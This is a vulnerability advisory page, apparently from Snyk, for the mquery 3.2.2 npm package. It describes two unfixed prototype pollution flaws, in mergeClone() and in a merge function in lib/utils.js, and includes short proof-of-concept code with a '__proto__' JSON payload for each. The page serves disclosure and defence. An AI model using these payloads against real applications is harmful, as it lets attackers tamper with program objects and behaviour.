org.webjars.npm:mquery@3.2.2 vulnerabilities

  • latest version

    3.2.2

  • first published

    5 years ago

  • latest version published

    5 years ago

  • licenses detected

  • package manager

Direct Vulnerabilities

Known vulnerabilities in the org.webjars.npm:mquery package. This does not include vulnerabilities belonging to this package’s dependencies.

Automatically find and fix vulnerabilities affecting your projects. Snyk scans for vulnerabilities and provides fixes for free.
Fix for free
Vulnerability Vulnerable Version
  • H
Prototype Pollution

org.webjars.npm:mquery is an Expressive query building for MongoDB

Affected versions of this package are vulnerable to Prototype Pollution via the mergeClone() function.

PoC by zhou, peng

mquery = require('mquery');
var malicious_payload = '{"__proto__":{"polluted":"HACKED"}}';
console.log('Before:', {}.polluted); // undefined
mquery.utils.mergeClone({}, JSON.parse(malicious_payload));
console.log('After:', {}.polluted); // HACKED

How to fix Prototype Pollution?

There is no fixed version for org.webjars.npm:mquery.

[0,)
  • H
Prototype Pollution

org.webjars.npm:mquery is an Expressive query building for MongoDB

Affected versions of this package are vulnerable to Prototype Pollution via the merge function within lib/utils.js. Depending on if user input is provided, an attacker can overwrite and pollute the object prototype of a program.

PoC

   require('./env').getCollection(function(err, collection) {
      assert.ifError(err);
      col = collection;
      done();
    });
    var payload = JSON.parse('{"__proto__": {"polluted": "vulnerable"}}');
    var m = mquery(payload);
    console.log({}.polluted);
// The empty object {} will have a property called polluted which will print vulnerable

How to fix Prototype Pollution?

There is no fixed version for org.webjars.npm:mquery.

[0,)